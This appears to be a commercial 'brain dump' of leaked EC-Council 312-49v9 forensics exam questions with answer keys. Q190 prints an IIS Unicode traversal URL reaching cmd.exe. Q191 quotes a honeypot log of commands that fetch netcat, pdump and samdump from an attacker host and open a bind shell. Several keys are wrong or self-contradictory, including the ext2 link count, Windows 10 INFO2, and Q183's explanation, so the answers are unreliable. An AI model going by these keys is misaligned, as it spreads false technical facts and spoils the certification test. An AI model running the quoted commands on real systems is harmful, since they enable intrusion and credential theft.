Online 312-49v9 Test Brain Dump Question and Test Engine
Real EC-COUNCIL 312-49v9 Exam Dumps with Correct 586 Questions and Answers
NEW QUESTION 178
What term is used to describe a cryptographic technique for embedding information into something else for the sole purpose of hiding that information from the casual observer?
- A. Rootkit
- B. Key escrow
- C. Steganography
- D. Offset
Answer: C
NEW QUESTION 179
What is the slave device connected to the secondary IDE controller on a Linux OS referred to?
- A. hda
- B. hdc
- C. hdd
- D. hdb
Answer: C
NEW QUESTION 180
Jacky encrypts her documents using a password. It is known that she uses her daughter's year of birth as part of the password. Which password cracking technique would be optimal to crack her password?
- A. Brute force attack
- B. Hybrid attack
- C. Syllable attack
- D. Rule-based attack
Answer: D
NEW QUESTION 181
If you see the files Zer0.tar.gz and copy.tar.gz on a Linux system while doing an investigation, what can you conclude?
- A. The system has been compromised using a t0rnrootkit
- B. The system files have been copied by a remote attacker
- C. The system administrator has created an incremental backup
- D. Nothing in particular as these can be operational files
Answer: D
NEW QUESTION 182
Which of the following built-in Linux commands can be used by forensic investigators to copy data from a disk drive?
- A. Diff
- B. Dd and dcfldd
- C. Expr
- D. Lprm
Answer: B
NEW QUESTION 183
To calculate the number of bytes on a disk, the formula is: CHS**
- A. number of circles x number of halves x number of sides x 512 bytes per sector
- B. number of cells x number of heads x number of sides x 512 bytes per sector
- C. number of cylinders x number of heads x number of sides x 512 bytes per sector
- D. number of cylinders x number of halves x number of shims x 512 bytes per sector
Answer: C
Explanation:
Although D in this question is probably the closest, the answer may have been transcribed incorrectly. CHS stands for Cylinder Head Sector, and S is not sides. Each side of a platter of a disk has its own head.
A cylinder is an alignment of all tracks under one head position. So the answer is number of cylinders x number of heads x number of sectors (per track) x 512 bytes per sector (assuming that is the sector size as some disks may have larger sector sizes). The number of tracks per side of disk, or the number of tracks that a single head can access is equal to the number of cylinders.
NEW QUESTION 184
Which of the following refers to the data that might still exist in a cluster even though the original file has been overwritten by another file?
- A. Slack Space
- B. Metadata
- C. Sector
- D. MFT
Answer: A
NEW QUESTION 185
You are working as Computer Forensics investigator and are called by the owner of an accounting firm to investigate possible computer abuse by one of the firm's employees. You meet with the owner of the firm and discover that the company has never published a policy stating that they reserve the right to inspect their computing assets at will. What do you do?
- A. Inform the owner that conducting an investigation without a policy is a violation of the 4th amendment
- B. Inform the owner that conducting an investigation without a policy is not a problem because a policy is only necessary for government agencies
- C. Inform the owner that conducting an investigation without a policy is a violation of the employee's expectation of privacy
- D. Inform the owner that conducting an investigation without a policy is not a problem because the company is privately owned
Answer: C
NEW QUESTION 186
With the standard Linux second extended file system (Ext2fs), a file is deleted when the inode internal link count reaches ________.
- A. 0
- B. 1
- C. 2
- D. 3
Answer: D
NEW QUESTION 187
As a CHFI professional, which of the following is the most important to your professional reputation?
- A. Your Certifications
- B. The friendship of local law enforcement officers
- C. The free that you charge
- D. The correct, successful management of each and every case
Answer: A
NEW QUESTION 188
What is the investigator trying to view by issuing the command displayed in the following screenshot?
- A. List of services installed
- B. List of services closed recently
- C. List of services stopped
- D. List of services recently started
Answer: A
NEW QUESTION 189
Steganography is a technique of hiding a secret message within an ordinary message and extracting it at the destination to maintain the confidentiality of data.
- A. True
- B. False
Answer: A
NEW QUESTION 190
The Apache server saves diagnostic information and error messages that it encounters while processing requests. The default path of this file is usr/local/apache/logs/error.log in
Linux. Identify the Apache error log from the following logs.
- A. 127.0.0.1 --[10/Apr/2007:10:39:11 +0300] ] [error] "GET /apache_pb.gif HTTP/1.0' 200
2326 - B. [Wed Oct 11 14:32:52 2000] [error] [client 127.0.0.1] client denied by server configuration: /export/home/live/ap/htdocs/test
- C. 127.0.0.1 - frank [10/Oct/2000:13:55:36-0700] "GET /apache_pb.grf HTTP/1.0" 200
2326 - D. http://victim.com/scripts/..%c0%af./..%c0%af./..%c0%af./..%c0%af./..%c0%af./..%c0%af./..
%c0%af./..%c0%af./../winnt/system32/cmd.exe?/c+di
r+c:\wintt\system32\Logfiles\W3SVC1
Answer: B
NEW QUESTION 191
The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.
He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.
"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
What can you infer from the exploit given?
- A. There are two attackers on the system - johna2k and haxedj00
- B. It is a local exploit where the attacker logs in using username johna2k
- C. The attack is a remote exploit and the hacker downloads three files
- D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port
Answer: C
Explanation:
Explanation
The log clearly indicates that this is a remote exploit with three files being downloaded and hence the correct answer is C.
NEW QUESTION 192
Law enforcement officers are conducting a legal search for which a valid warrant was obtained. While conducting the search, officers observe an item of evidence for an unrelated crime that was not included in the warrant. The item was clearly visible to the officers and immediately identified as evidence. What is the term used to describe how this evidence is admissible?
- A. Plain view doctrine
- B. Ex Parte Order
- C. Locard Exchange Principle
- D. Corpus delicti
Answer: A
NEW QUESTION 193
Where does the Windows 10 system store the metadata of the deleted files?
- A. Deletes it permanently
- B. Recycle Bin
- C. INFO file
- D. INFO2 file
Answer: D
NEW QUESTION 194
When making the preliminary investigations in a sexual harassment case, how many investigators are you recommended having?
- A. Four
- B. Two
- C. Three
- D. One
Answer: B
NEW QUESTION 195
Sniffers that place NICs in promiscuous mode work at what layer of the OSI model?
- A. Physical
- B. Sessi
- C. Transport
- D. Network
Answer: A
NEW QUESTION 196
Which of the following statements is incorrect related to acquiring electronic evidence at crime scene?
- A. The equipment is seized which is connected to the case, knowing the role of the computer which will indicate what should be taken
- B. At the time of seizing process, you need to shut down the computer immediately
- C. In warning banners, organizations give clear and unequivocal notice to intruders that by signing onto the system they are expressly consenting to such monitoring
- D. Sample banners are used to record the system activities when used by the unauthorized user
Answer: B
NEW QUESTION 197
Which of the following should a computer forensics lab used for investigations have?
- A. open access
- B. restricted access
- C. isolation
- D. an entry log
Answer: B
NEW QUESTION 198
Gill is a computer forensics investigator who has been called upon to examine a seized computer. This computer, according to the police, was used by a hacker who gained access to numerous banking institutions to steal customer information. After preliminary investigations, Gill finds in the computer's log files that the hacker was able to gain access to these banks through the use of Trojan horses. The hacker then used these Trojan horses to obtain remote access to the companies' domain controllers. From this point, Gill found that the hacker pulled off the SAM files from the domain controllers to then attempt and crack network passwords.
What is the most likely password cracking technique used by this hacker to break the user passwords from the SAM files?
- A. Brute force attack
- B. Hybrid attack
- C. Dictionary attack
- D. Syllable attack
Answer: C
NEW QUESTION 199
In which cloud crime do attackers try to compromise the security of the cloud environment in order to steal data or inject a malware?
- A. Cloud as a Subject
- B. Cloud as an Application
- C. Cloud as a Tool
- D. Cloud as an Object
Answer: A
NEW QUESTION 200
When marking evidence that has been collected with the aa/ddmmyy/nnnn/zz format, what does the nnn denote?
- A. The initials of the forensics analyst
- B. The sequence number for the parts of the same exhibit
- C. The sequential number of the exhibits seized
- D. The year the evidence was taken
Answer: C
NEW QUESTION 201
What type of attack sends spoofed UDP packets (instead of ping packets) with a fake source address to the IP broadcast address of a large network?
- A. SYN flood
- B. Fraggle
- C. Teardrop
- D. Smurf scan
Answer: B
NEW QUESTION 202
Which of the following is found within the unique instance ID key and helps investigators to map the entry from USBSTOR key to the MountedDevices key?
- A. LastWrite
- B. MRUListEx key
- C. ParentIDPrefix
- D. UserAssist key
Answer: C
NEW QUESTION 203
......
EC-COUNCIL 312-49v9 Exam Syllabus Topics:
| Topic | Details |
|---|---|
| Topic 1 |
|
| Topic 2 |
|
| Topic 3 |
|
| Topic 4 |
|
| Topic 5 |
|
| Topic 6 |
|
| Topic 7 |
|
| Topic 8 |
|
Valid 312-49v9 Test Answers & EC-COUNCIL 312-49v9 Exam PDF: https://www.exam4docs.com/312-49v9-study-questions.html
